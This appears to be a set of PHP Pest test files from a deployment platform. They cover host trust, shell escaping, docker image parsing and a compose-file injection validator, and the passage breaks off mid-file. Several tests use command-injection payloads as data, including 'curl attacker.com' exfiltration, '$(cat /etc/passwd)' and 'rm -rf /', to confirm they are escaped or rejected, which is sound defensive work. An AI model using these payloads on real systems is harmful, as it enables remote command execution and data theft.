});
it('rejects malicious host when using IP address', function () {
// Simulate an instance using IP address
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => 'http://65.21.3.91:8000']
);
$middleware = new TrustHosts($this->app);
$hosts = $middleware->hosts();
// The malicious host attempting to mimic the IP should NOT be trusted
expect($hosts)->not->toContain('65.21.3.91.evil.com');
expect($hosts)->not->toContain('evil.com');
expect($hosts)->toContain('65.21.3.91');
});
it('trusts IPv6 addresses', function () {
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => 'http://[2001:db8::1]:8000']
);
$middleware = new TrustHosts($this->app);
$hosts = $middleware->hosts();
// IPv6 addresses are enclosed in brackets, getHost() should handle this
expect($hosts)->toContain('[2001:db8::1]');
});
it('invalidates cache when FQDN is updated', function () {
// Set initial FQDN
$settings = InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => 'https://old-domain.com']
);
// First call should cache it
$middleware = new TrustHosts($this->app);
$hosts1 = $middleware->hosts();
expect($hosts1)->toContain('old-domain.com');
// Verify cache exists
expect(Cache::has('instance_settings_fqdn_host'))->toBeTrue();
// Update FQDN - should trigger cache invalidation
$settings->fqdn = 'https://new-domain.com';
$settings->save();
// Cache should be cleared
expect(Cache::has('instance_settings_fqdn_host'))->toBeFalse();
// New call should return updated host
$middleware2 = new TrustHosts($this->app);
$hosts2 = $middleware2->hosts();
expect($hosts2)->toContain('new-domain.com');
expect($hosts2)->not->toContain('old-domain.com');
});
it('caches trusted hosts to avoid database queries on every request', function () {
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => 'https://coolify.example.com']
);
// Clear cache first
Cache::forget('instance_settings_fqdn_host');
// First call - should query database and cache result
$middleware1 = new TrustHosts($this->app);
$hosts1 = $middleware1->hosts();
// Verify result is cached
expect(Cache::has('instance_settings_fqdn_host'))->toBeTrue();
expect(Cache::get('instance_settings_fqdn_host'))->toBe('coolify.example.com');
// Subsequent calls should use cache (no DB query)
$middleware2 = new TrustHosts($this->app);
$hosts2 = $middleware2->hosts();
expect($hosts1)->toBe($hosts2);
expect($hosts2)->toContain('coolify.example.com');
});
it('caches negative results when no FQDN is configured', function () {
// Create instance settings without FQDN
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => null]
);
// Clear cache first
Cache::forget('instance_settings_fqdn_host');
// First call - should query database and cache empty string sentinel
$middleware1 = new TrustHosts($this->app);
$hosts1 = $middleware1->hosts();
// Verify empty string sentinel is cached (not null, which wouldn't be cached)
expect(Cache::has('instance_settings_fqdn_host'))->toBeTrue();
expect(Cache::get('instance_settings_fqdn_host'))->toBe('');
// Subsequent calls should use cached sentinel value
$middleware2 = new TrustHosts($this->app);
$hosts2 = $middleware2->hosts();
expect($hosts1)->toBe($hosts2);
// Should only contain APP_URL pattern, not any FQDN
expect($hosts2)->not->toBeEmpty();
});

View File

@@ -0,0 +1,101 @@
<?php
use App\Models\Application;
use App\Models\GithubApp;
use App\Models\PrivateKey;
afterEach(function () {
Mockery::close();
});
it('escapes malicious repository URLs in deploy_key type', function () {
// Arrange: Create a malicious repository URL
$maliciousRepo = 'git@github.com:user/repo.git;curl https://attacker.com/ -X POST --data `whoami`';
$deploymentUuid = 'test-deployment-uuid';
// Mock the application
$application = Mockery::mock(Application::class)->makePartial();
$application->git_branch = 'main';
$application->shouldReceive('deploymentType')->andReturn('deploy_key');
$application->shouldReceive('customRepository')->andReturn([
'repository' => $maliciousRepo,
'port' => 22,
]);
// Mock private key
$privateKey = Mockery::mock(PrivateKey::class)->makePartial();
$privateKey->shouldReceive('getAttribute')->with('private_key')->andReturn('fake-private-key');
$application->shouldReceive('getAttribute')->with('private_key')->andReturn($privateKey);
// Act: Generate git ls-remote commands
$result = $application->generateGitLsRemoteCommands($deploymentUuid, true);
// Assert: The command should contain escaped repository URL
expect($result)->toHaveKey('commands');
$command = $result['commands'];
// The malicious payload should be escaped and not executed
expect($command)->toContain("'git@github.com:user/repo.git;curl https://attacker.com/ -X POST --data `whoami`'");
// The command should NOT contain unescaped semicolons or backticks that could execute
expect($command)->not->toContain('repo.git;curl');
});
it('escapes malicious repository URLs in source type with public repo', function () {
// Arrange: Create a malicious repository name
$maliciousRepo = "user/repo';curl https://attacker.com/";
$deploymentUuid = 'test-deployment-uuid';
// Mock the application
$application = Mockery::mock(Application::class)->makePartial();
$application->git_branch = 'main';
$application->shouldReceive('deploymentType')->andReturn('source');
$application->shouldReceive('customRepository')->andReturn([
'repository' => $maliciousRepo,
'port' => 22,
]);
// Mock GithubApp source
$source = Mockery::mock(GithubApp::class)->makePartial();
$source->shouldReceive('getAttribute')->with('html_url')->andReturn('https://github.com');
$source->shouldReceive('getAttribute')->with('is_public')->andReturn(true);
$source->shouldReceive('getMorphClass')->andReturn('App\Models\GithubApp');
$application->shouldReceive('getAttribute')->with('source')->andReturn($source);
$application->source = $source;
// Act: Generate git ls-remote commands
$result = $application->generateGitLsRemoteCommands($deploymentUuid, true);
// Assert: The command should contain escaped repository URL
expect($result)->toHaveKey('commands');
$command = $result['commands'];
// The command should contain the escaped URL (escapeshellarg wraps in single quotes)
expect($command)->toContain("'https://github.com/user/repo'\\''");
});
it('escapes repository URLs in other deployment type', function () {
// Arrange: Create a malicious repository URL
$maliciousRepo = "https://github.com/user/repo.git';curl https://attacker.com/";
$deploymentUuid = 'test-deployment-uuid';
// Mock the application
$application = Mockery::mock(Application::class)->makePartial();
$application->git_branch = 'main';
$application->shouldReceive('deploymentType')->andReturn('other');
$application->shouldReceive('customRepository')->andReturn([
'repository' => $maliciousRepo,
'port' => 22,
]);
// Act: Generate git ls-remote commands
$result = $application->generateGitLsRemoteCommands($deploymentUuid, true);
// Assert: The command should contain escaped repository URL
expect($result)->toHaveKey('commands');
$command = $result['commands'];
// The malicious payload should be escaped (escapeshellarg wraps and escapes quotes)
expect($command)->toContain("'https://github.com/user/repo.git'\\''");
});

View File

@@ -0,0 +1,307 @@
<?php
test('escapeBashEnvValue wraps simple values in single quotes', function () {
$result = escapeBashEnvValue('simple_value');
expect($result)->toBe("'simple_value'");
});
test('escapeBashEnvValue handles special bash characters', function () {
$specialChars = [
'$&#)@*~$&@(~#&#%(*$324803129&$#@!)*&$',
'#*#&412)$&#*!%)!@&#)*~@!&$)@*#%^)*@#!)#@~321',
'value with spaces and $variables',
'value with `backticks`',
'value with "double quotes"',
'value|with|pipes',
'value;with;semicolons',
'value&with&ampersands',
'value(with)parentheses',
'value{with}braces',
'value[with]brackets',
'value<with>angles',
'value*with*asterisks',
'value?with?questions',
'value!with!exclamations',
'value~with~tildes',
'value^with^carets',
'value%with%percents',
'value@with@ats',
'value#with#hashes',
];
foreach ($specialChars as $value) {
$result = escapeBashEnvValue($value);
// Should be wrapped in single quotes
expect($result)->toStartWith("'");
expect($result)->toEndWith("'");
// Should contain the original value (or escaped version)
expect($result)->toContain($value);
}
});
test('escapeBashEnvValue escapes single quotes correctly', function () {
// Single quotes in bash single-quoted strings must be escaped as '\''
$value = "it's a value with 'single quotes'";
$result = escapeBashEnvValue($value);
// The result should replace ' with '\''
expect($result)->toBe("'it'\\''s a value with '\\''single quotes'\\'''");
});
test('escapeBashEnvValue handles empty values', function () {
$result = escapeBashEnvValue('');
expect($result)->toBe("''");
});
test('escapeBashEnvValue handles null values', function () {
$result = escapeBashEnvValue(null);
expect($result)->toBe("''");
});
test('escapeBashEnvValue handles values with only special characters', function () {
$value = '$#@!*&^%()[]{}|;~`?"<>';
$result = escapeBashEnvValue($value);
// Should be wrapped and contain all special characters
expect($result)->toBe("'{$value}'");
});
test('escapeBashEnvValue handles multiline values', function () {
$value = "line1\nline2\nline3";
$result = escapeBashEnvValue($value);
// Should preserve newlines
expect($result)->toContain("\n");
expect($result)->toStartWith("'");
expect($result)->toEndWith("'");
});
test('escapeBashEnvValue handles values from user example', function () {
$literal = '$&#)@*~$&@(~#&#%(*$324803129&$#@!)*&$';
$weird = '#*#&412)$&#*!%)!@&#)*~@!&$)@*#%^)*@#!)#@~321';
$escapedLiteral = escapeBashEnvValue($literal);
$escapedWeird = escapeBashEnvValue($weird);
// These should be safely wrapped in single quotes
expect($escapedLiteral)->toBe("'{$literal}'");
expect($escapedWeird)->toBe("'{$weird}'");
// Test that when written to a file and sourced, they would work
// Format: KEY=VALUE
$envLine1 = "literal={$escapedLiteral}";
$envLine2 = "weird={$escapedWeird}";
// These should be valid bash assignment statements
expect($envLine1)->toStartWith('literal=');
expect($envLine2)->toStartWith('weird=');
});
test('escapeBashEnvValue handles backslashes', function () {
$value = 'path\\to\\file';
$result = escapeBashEnvValue($value);
// Backslashes should be preserved in single quotes
expect($result)->toBe("'{$value}'");
expect($result)->toContain('\\');
});
test('escapeBashEnvValue handles dollar signs correctly', function () {
$value = '$HOME and $PATH';
$result = escapeBashEnvValue($value);
// Dollar signs should NOT be expanded in single quotes
expect($result)->toBe("'{$value}'");
expect($result)->toContain('$HOME');
expect($result)->toContain('$PATH');
});
test('escapeBashEnvValue handles complex combination of special characters and single quotes', function () {
$value = "it's \$weird with 'quotes' and \$variables";
$result = escapeBashEnvValue($value);
// Should escape the single quotes
expect($result)->toContain("'\\''");
// Should contain the dollar signs without expansion
expect($result)->toContain('$weird');
expect($result)->toContain('$variables');
});
test('stripping quotes from real_value before escaping (literal/multiline simulation)', function () {
// Simulate what happens with literal/multiline env vars
// Their real_value comes back wrapped in quotes: 'value'
$realValueWithQuotes = "'it's a value with 'quotes''";
// Strip outer quotes
$stripped = trim($realValueWithQuotes, "'");
expect($stripped)->toBe("it's a value with 'quotes");
// Then apply bash escaping
$result = escapeBashEnvValue($stripped);
// Should properly escape the internal single quotes
expect($result)->toContain("'\\''");
// Should start and end with quotes
expect($result)->toStartWith("'");
expect($result)->toEndWith("'");
});
test('handling literal env with special bash characters', function () {
// Simulate literal/multiline env with special characters
$realValueWithQuotes = "'#*#&412)\$&#*!%)!@&#)*~@!\&\$)@*#%^)*@#!)#@~321'";
// Strip outer quotes
$stripped = trim($realValueWithQuotes, "'");
// Apply bash escaping
$result = escapeBashEnvValue($stripped);
// Should be properly quoted for bash
expect($result)->toStartWith("'");
expect($result)->toEndWith("'");
// Should contain all the special characters
expect($result)->toContain('#*#&412)');
expect($result)->toContain('$&#*!%');
});
// ==================== Tests for escapeBashDoubleQuoted() ====================
test('escapeBashDoubleQuoted wraps simple values in double quotes', function () {
$result = escapeBashDoubleQuoted('simple_value');
expect($result)->toBe('"simple_value"');
});
test('escapeBashDoubleQuoted handles null values', function () {
$result = escapeBashDoubleQuoted(null);
expect($result)->toBe('""');
});
test('escapeBashDoubleQuoted handles empty values', function () {
$result = escapeBashDoubleQuoted('');
expect($result)->toBe('""');
});
test('escapeBashDoubleQuoted preserves valid variable references', function () {
$value = '$SOURCE_COMMIT';
$result = escapeBashDoubleQuoted($value);
// Should preserve $SOURCE_COMMIT for expansion
expect($result)->toBe('"$SOURCE_COMMIT"');
expect($result)->toContain('$SOURCE_COMMIT');
});
test('escapeBashDoubleQuoted preserves multiple variable references', function () {
$value = '$VAR1 and $VAR2 and $VAR_NAME_3';
$result = escapeBashDoubleQuoted($value);
// All valid variables should be preserved
expect($result)->toBe('"$VAR1 and $VAR2 and $VAR_NAME_3"');
});
test('escapeBashDoubleQuoted preserves brace expansion variables', function () {
$value = '${SOURCE_COMMIT} and ${VAR_NAME}';
$result = escapeBashDoubleQuoted($value);
// Brace variables should be preserved
expect($result)->toBe('"${SOURCE_COMMIT} and ${VAR_NAME}"');
});
test('escapeBashDoubleQuoted escapes invalid dollar patterns', function () {
// Invalid patterns: $&, $#, $$, $*, $@, $!, etc.
$value = '$&#)@*~$&@(~#&#%(*$324803129&$#@!)*&$';
$result = escapeBashDoubleQuoted($value);
// Invalid $ should be escaped
expect($result)->toContain('\\$&#');
expect($result)->toContain('\\$&@');
expect($result)->toContain('\\$#@');
// Should be wrapped in double quotes
expect($result)->toStartWith('"');
expect($result)->toEndWith('"');
});
test('escapeBashDoubleQuoted handles mixed valid and invalid dollar signs', function () {
$value = '$SOURCE_COMMIT and $&#invalid';
$result = escapeBashDoubleQuoted($value);
// Valid variable preserved, invalid $ escaped
expect($result)->toBe('"$SOURCE_COMMIT and \\$&#invalid"');
});
test('escapeBashDoubleQuoted escapes double quotes', function () {
$value = 'value with "double quotes"';
$result = escapeBashDoubleQuoted($value);
// Double quotes should be escaped
expect($result)->toBe('"value with \\"double quotes\\""');
});
test('escapeBashDoubleQuoted escapes backticks', function () {
$value = 'value with `backticks`';
$result = escapeBashDoubleQuoted($value);
// Backticks should be escaped (prevents command substitution)
expect($result)->toBe('"value with \\`backticks\\`"');
});
test('escapeBashDoubleQuoted escapes backslashes', function () {
$value = 'path\\to\\file';
$result = escapeBashDoubleQuoted($value);
// Backslashes should be escaped
expect($result)->toBe('"path\\\\to\\\\file"');
});
test('escapeBashDoubleQuoted handles positional parameters', function () {
$value = 'args: $0 $1 $2 $9';
$result = escapeBashDoubleQuoted($value);
// Positional parameters should be preserved
expect($result)->toBe('"args: $0 $1 $2 $9"');
});
test('escapeBashDoubleQuoted handles special variable $_', function () {
$value = 'last arg: $_';
$result = escapeBashDoubleQuoted($value);
// $_ should be preserved
expect($result)->toBe('"last arg: $_"');
});
test('escapeBashDoubleQuoted handles complex real-world scenario', function () {
// Mix of valid vars, invalid $, quotes, and special chars
$value = '$SOURCE_COMMIT with $&#special and "quotes" and `cmd`';
$result = escapeBashDoubleQuoted($value);
// Valid var preserved, invalid $ escaped, quotes/backticks escaped
expect($result)->toBe('"$SOURCE_COMMIT with \\$&#special and \\"quotes\\" and \\`cmd\\`"');
});
test('escapeBashDoubleQuoted allows expansion in bash', function () {
// This is a logical test - the actual expansion happens in bash
// We're verifying the format is correct
$value = '$SOURCE_COMMIT';
$result = escapeBashDoubleQuoted($value);
// Should be: "$SOURCE_COMMIT" which bash will expand
expect($result)->toBe('"$SOURCE_COMMIT"');
expect($result)->not->toContain('\\$SOURCE');
});
test('comparison between single and double quote escaping', function () {
$value = '$SOURCE_COMMIT';
$singleQuoted = escapeBashEnvValue($value);
$doubleQuoted = escapeBashDoubleQuoted($value);
// Single quotes prevent expansion
expect($singleQuoted)->toBe("'\$SOURCE_COMMIT'");
// Double quotes allow expansion
expect($doubleQuoted)->toBe('"$SOURCE_COMMIT"');
// They're different!
expect($singleQuoted)->not->toBe($doubleQuoted);
});

View File

@@ -0,0 +1,79 @@
<?php
/**
* Unit tests to verify that docker compose label parsing correctly handles
* labels defined as YAML key-value pairs (e.g., "traefik.enable: true")
* which get parsed as arrays instead of strings.
*
* This test verifies the fix for the "preg_match(): Argument #2 ($subject) must
* be of type string, array given" error.
*/
it('ensures label parsing handles array values from YAML', function () {
// Read the parseDockerComposeFile function from shared.php
$sharedFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/shared.php');
// Check that array handling is present before str() call
expect($sharedFile)
->toContain('// Handle array values from YAML (e.g., "traefik.enable: true" becomes an array)')
->toContain('if (is_array($serviceLabel)) {');
});
it('ensures label parsing converts array values to strings', function () {
// Read the parseDockerComposeFile function from shared.php
$sharedFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/shared.php');
// Check that array to string conversion exists
expect($sharedFile)
->toContain('// Convert array values to strings')
->toContain('if (is_array($removedLabel)) {')
->toContain('$removedLabel = (string) collect($removedLabel)->first();');
});
it('verifies label parsing array check occurs before preg_match', function () {
// Read the parseDockerComposeFile function from shared.php
$sharedFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/shared.php');
// Get the position of array check and str() call
$arrayCheckPos = strpos($sharedFile, 'if (is_array($serviceLabel)) {');
$strCallPos = strpos($sharedFile, "str(\$serviceLabel)->contains('=')");
// Ensure array check comes before str() call
expect($arrayCheckPos)
->toBeLessThan($strCallPos)
->toBeGreaterThan(0);
});
it('ensures traefik middleware parsing handles array values in docker.php', function () {
// Read the fqdnLabelsForTraefik function from docker.php
$dockerFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/docker.php');
// Check that array handling is present before preg_match
expect($dockerFile)
->toContain('// Handle array values from YAML parsing (e.g., "traefik.enable: true" becomes an array)')
->toContain('if (is_array($item)) {');
});
it('ensures traefik middleware parsing checks string type before preg_match in docker.php', function () {
// Read the fqdnLabelsForTraefik function from docker.php
$dockerFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/docker.php');
// Check that string type check exists
expect($dockerFile)
->toContain('if (! is_string($item)) {')
->toContain('return null;');
});
it('verifies array check occurs before preg_match in traefik middleware parsing', function () {
// Read the fqdnLabelsForTraefik function from docker.php
$dockerFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/docker.php');
// Get the position of array check and preg_match call
$arrayCheckPos = strpos($dockerFile, 'if (is_array($item)) {');
$pregMatchPos = strpos($dockerFile, "preg_match('/traefik\\.http\\.middlewares\\.(.*?)(\\.|$)/', \$item");
// Ensure array check comes before preg_match call (find first occurrence after array check)
$pregMatchAfterArrayCheck = strpos($dockerFile, "preg_match('/traefik\\.http\\.middlewares\\.(.*?)(\\.|$)/', \$item", $arrayCheckPos);
expect($arrayCheckPos)
->toBeLessThan($pregMatchAfterArrayCheck)
->toBeGreaterThan(0);
});

View File

@@ -0,0 +1,130 @@
<?php
use App\Livewire\Project\New\DockerImage;
it('auto-parses complete docker image reference with tag', function () {
$component = new DockerImage;
$component->imageName = 'nginx:stable-alpine3.21-perl';
$component->imageTag = '';
$component->imageSha256 = '';
$component->updatedImageName();
expect($component->imageName)->toBe('nginx')
->and($component->imageTag)->toBe('stable-alpine3.21-perl')
->and($component->imageSha256)->toBe('');
});
it('auto-parses complete docker image reference with sha256 digest', function () {
$hash = '4e272eef7ec6a7e76b9c521dcf14a3d397f7c370f48cbdbcfad22f041a1449cb';
$component = new DockerImage;
$component->imageName = "nginx@sha256:{$hash}";
$component->imageTag = '';
$component->imageSha256 = '';
$component->updatedImageName();
expect($component->imageName)->toBe('nginx')
->and($component->imageTag)->toBe('')
->and($component->imageSha256)->toBe($hash);
});
it('auto-parses complete docker image reference with tag and sha256 digest', function () {
$hash = '4e272eef7ec6a7e76b9c521dcf14a3d397f7c370f48cbdbcfad22f041a1449cb';
$component = new DockerImage;
$component->imageName = "nginx:stable-alpine3.21-perl@sha256:{$hash}";
$component->imageTag = '';
$component->imageSha256 = '';
$component->updatedImageName();
// When both tag and digest are present, Docker keeps the tag in the name
// but uses the digest for pulling. The tag becomes part of the image name.
expect($component->imageName)->toBe('nginx:stable-alpine3.21-perl')
->and($component->imageTag)->toBe('')
->and($component->imageSha256)->toBe($hash);
});
it('auto-parses registry image with port and tag', function () {
$component = new DockerImage;
$component->imageName = 'registry.example.com:5000/myapp:v1.2.3';
$component->imageTag = '';
$component->imageSha256 = '';
$component->updatedImageName();
expect($component->imageName)->toBe('registry.example.com:5000/myapp')
->and($component->imageTag)->toBe('v1.2.3')
->and($component->imageSha256)->toBe('');
});
it('auto-parses ghcr image with sha256 digest', function () {
$hash = 'abc123def456789abcdef123456789abcdef123456789abcdef123456789abc1';
$component = new DockerImage;
$component->imageName = "ghcr.io/user/app@sha256:{$hash}";
$component->imageTag = '';
$component->imageSha256 = '';
$component->updatedImageName();
expect($component->imageName)->toBe('ghcr.io/user/app')
->and($component->imageTag)->toBe('')
->and($component->imageSha256)->toBe($hash);
});
it('does not auto-parse if user has manually filled tag field', function () {
$component = new DockerImage;
$component->imageTag = 'latest'; // User manually set this FIRST
$component->imageSha256 = '';
$component->imageName = 'nginx:stable'; // Then user enters image name
$component->updatedImageName();
// Should not auto-parse because tag is already set
expect($component->imageName)->toBe('nginx:stable')
->and($component->imageTag)->toBe('latest')
->and($component->imageSha256)->toBe('');
});
it('does not auto-parse if user has manually filled sha256 field', function () {
$hash = '4e272eef7ec6a7e76b9c521dcf14a3d397f7c370f48cbdbcfad22f041a1449cb';
$component = new DockerImage;
$component->imageSha256 = $hash; // User manually set this FIRST
$component->imageTag = '';
$component->imageName = 'nginx:stable'; // Then user enters image name
$component->updatedImageName();
// Should not auto-parse because sha256 is already set
expect($component->imageName)->toBe('nginx:stable')
->and($component->imageTag)->toBe('')
->and($component->imageSha256)->toBe($hash);
});
it('does not auto-parse plain image name without tag or digest', function () {
$component = new DockerImage;
$component->imageName = 'nginx';
$component->imageTag = '';
$component->imageSha256 = '';
$component->updatedImageName();
// Should leave as-is since there's nothing to parse
expect($component->imageName)->toBe('nginx')
->and($component->imageTag)->toBe('')
->and($component->imageSha256)->toBe('');
});
it('handles parsing errors gracefully', function () {
$component = new DockerImage;
$component->imageName = 'registry.io:5000/myapp:v1.2.3';
$component->imageTag = '';
$component->imageSha256 = '';
// Should not throw exception
expect(fn () => $component->updatedImageName())->not->toThrow(\Exception::class);
// Should successfully parse this valid image
expect($component->imageName)->toBe('registry.io:5000/myapp')
->and($component->imageTag)->toBe('v1.2.3');
});

View File

@@ -107,3 +107,35 @@ it('identifies invalid sha256 hashes', function () {
expect($parser->isImageHash())->toBeFalse("Hash {$hash} should not be recognized as valid SHA256"); expect($parser->isImageHash())->toBeFalse("Hash {$hash} should not be recognized as valid SHA256");
} }
}); });
it('correctly parses and normalizes image with full digest including hash', function () {
$parser = new DockerImageParser;
$hash = '59e02939b1bf39f16c93138a28727aec520bb916da021180ae502c61626b3cf0';
$parser->parse("nginx@sha256:{$hash}");
expect($parser->getImageName())->toBe('nginx')
->and($parser->getTag())->toBe($hash)
->and($parser->isImageHash())->toBeTrue()
->and($parser->getFullImageNameWithoutTag())->toBe('nginx')
->and($parser->toString())->toBe("nginx@sha256:{$hash}");
});
it('correctly parses image when user provides digest-decorated name with colon hash', function () {
$parser = new DockerImageParser;
$hash = 'deadbeef1234567890abcdef1234567890abcdef1234567890abcdef12345678';
// User might provide: nginx@sha256:deadbeef...
// This should be parsed correctly without duplication
$parser->parse("nginx@sha256:{$hash}");
$imageName = $parser->getFullImageNameWithoutTag();
if ($parser->isImageHash() && ! str_ends_with($imageName, '@sha256')) {
$imageName .= '@sha256';
}
// The result should be: nginx@sha256 (name) + deadbeef... (tag)
// NOT: nginx:deadbeef...@sha256 or nginx@sha256:deadbeef...@sha256
expect($imageName)->toBe('nginx@sha256')
->and($parser->getTag())->toBe($hash)
->and($parser->isImageHash())->toBeTrue();
});

View File

@@ -0,0 +1,77 @@
<?php
uses(\Tests\TestCase::class);
it('extracts commit SHA from git ls-remote output without warnings', function () {
$output = "196d3df7665359a8c8fa3329a6bcde0267e550bf\trefs/heads/master";
preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
$commit = $matches[1] ?? null;
expect($commit)->toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf');
});
it('extracts commit SHA from git ls-remote output with redirect warning on separate line', function () {
$output = "warning: redirecting to https://tangled.org/@tangled.org/core/\n196d3df7665359a8c8fa3329a6bcde0267e550bf\trefs/heads/master";
preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
$commit = $matches[1] ?? null;
expect($commit)->toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf');
});
it('extracts commit SHA from git ls-remote output with redirect warning on same line', function () {
// This is the actual format from tangled.sh - warning and result on same line, no newline
$output = "warning: redirecting to https://tangled.org/@tangled.org/core/196d3df7665359a8c8fa3329a6bcde0267e550bf\trefs/heads/master";
preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
$commit = $matches[1] ?? null;
expect($commit)->toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf');
});
it('extracts commit SHA from git ls-remote output with multiple warning lines', function () {
$output = "warning: redirecting to https://example.org/repo/\ninfo: some other message\n196d3df7665359a8c8fa3329a6bcde0267e550bf\trefs/heads/main";
preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
$commit = $matches[1] ?? null;
expect($commit)->toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf');
});
it('handles git ls-remote output with extra whitespace', function () {
$output = " 196d3df7665359a8c8fa3329a6bcde0267e550bf \trefs/heads/master";
preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
$commit = $matches[1] ?? null;
expect($commit)->toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf');
});
it('extracts commit SHA with uppercase letters and normalizes to lowercase', function () {
$output = "196D3DF7665359A8C8FA3329A6BCDE0267E550BF\trefs/heads/master";
preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
$commit = $matches[1] ?? null;
// Git SHAs are case-insensitive, so we normalize to lowercase for comparison
expect(strtolower($commit))->toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf');
});
it('returns null when no commit SHA is present in output', function () {
$output = "warning: redirecting to https://example.org/repo/\nError: repository not found";
preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
$commit = $matches[1] ?? null;
expect($commit)->toBeNull();
});
it('returns null when output has tab but no valid SHA', function () {
$output = "invalid-sha-format\trefs/heads/master";
preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
$commit = $matches[1] ?? null;
expect($commit)->toBeNull();
});

View File

@@ -0,0 +1,44 @@
<?php
/**
* Unit tests to verify that the "new image" quick action properly matches
* the docker-image type using the quickcommand field.
*
* This test verifies the fix for the issue where typing "new image" would
* not match because the frontend was only checking name and type fields,
* not the quickcommand field.
*/
it('ensures GlobalSearch blade template checks quickcommand field in matching logic', function () {
$bladeFile = file_get_contents(__DIR__.'/../../resources/views/livewire/global-search.blade.php');
// Check that the matching logic includes quickcommand check
expect($bladeFile)
->toContain('item.quickcommand')
->toContain('quickcommand.toLowerCase().includes(trimmed)');
});
it('ensures GlobalSearch clears search query when starting resource creation', function () {
$globalSearchFile = file_get_contents(__DIR__.'/../../app/Livewire/GlobalSearch.php');
// Check that navigateToResourceCreation clears the search query
expect($globalSearchFile)
->toContain('$this->searchQuery = \'\'');
});
it('ensures GlobalSearch uses Livewire redirect method', function () {
$globalSearchFile = file_get_contents(__DIR__.'/../../app/Livewire/GlobalSearch.php');
// Check that completeResourceCreation uses $this->redirect()
expect($globalSearchFile)
->toContain('$this->redirect(route(\'project.resource.create\'');
});
it('ensures docker-image item has quickcommand with new image', function () {
$globalSearchFile = file_get_contents(__DIR__.'/../../app/Livewire/GlobalSearch.php');
// Check that Docker Image has the correct quickcommand
expect($globalSearchFile)
->toContain("'name' => 'Docker Image'")
->toContain("'quickcommand' => '(type: new image)'")
->toContain("'type' => 'docker-image'");
});

View File

@@ -0,0 +1,200 @@
<?php
test('validateDockerComposeForInjection blocks malicious service names', function () {
$maliciousCompose = <<<'YAML'
services:
evil`curl attacker.com`:
image: nginx:latest
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker Compose service name');
});
test('validateDockerComposeForInjection blocks malicious volume paths in string format', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '/tmp/pwn`curl attacker.com`:/app'
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection blocks malicious volume paths in array format', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- type: bind
source: '/tmp/pwn`curl attacker.com`'
target: /app
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection blocks command substitution in volumes', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '$(cat /etc/passwd):/app'
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection blocks pipes in service names', function () {
$maliciousCompose = <<<'YAML'
services:
web|cat /etc/passwd:
image: nginx:latest
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker Compose service name');
});
test('validateDockerComposeForInjection blocks semicolons in volumes', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '/tmp/test; rm -rf /:/app'
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection allows legitimate compose files', function () {
$validCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- /var/www/html:/usr/share/nginx/html
- app-data:/data
db:
image: postgres:15
volumes:
- db-data:/var/lib/postgresql/data
volumes:
app-data:
db-data:
YAML;
expect(fn () => validateDockerComposeForInjection($validCompose))
->not->toThrow(Exception::class);
});
test('validateDockerComposeForInjection allows environment variables in volumes', function () {
$validCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '${DATA_PATH}:/app'
YAML;
expect(fn () => validateDockerComposeForInjection($validCompose))
->not->toThrow(Exception::class);
});
test('validateDockerComposeForInjection blocks malicious env var defaults', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '${DATA:-$(cat /etc/passwd)}:/app'
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection requires services section', function () {
$invalidCompose = <<<'YAML'
version: '3'
networks:
mynet:
YAML;
expect(fn () => validateDockerComposeForInjection($invalidCompose))
->toThrow(Exception::class, 'Docker Compose file must contain a "services" section');
});
test('validateDockerComposeForInjection handles empty volumes array', function () {
$validCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes: []
YAML;
expect(fn () => validateDockerComposeForInjection($validCompose))
->not->toThrow(Exception::class);
});
test('validateDockerComposeForInjection blocks newlines in volume paths', function () {
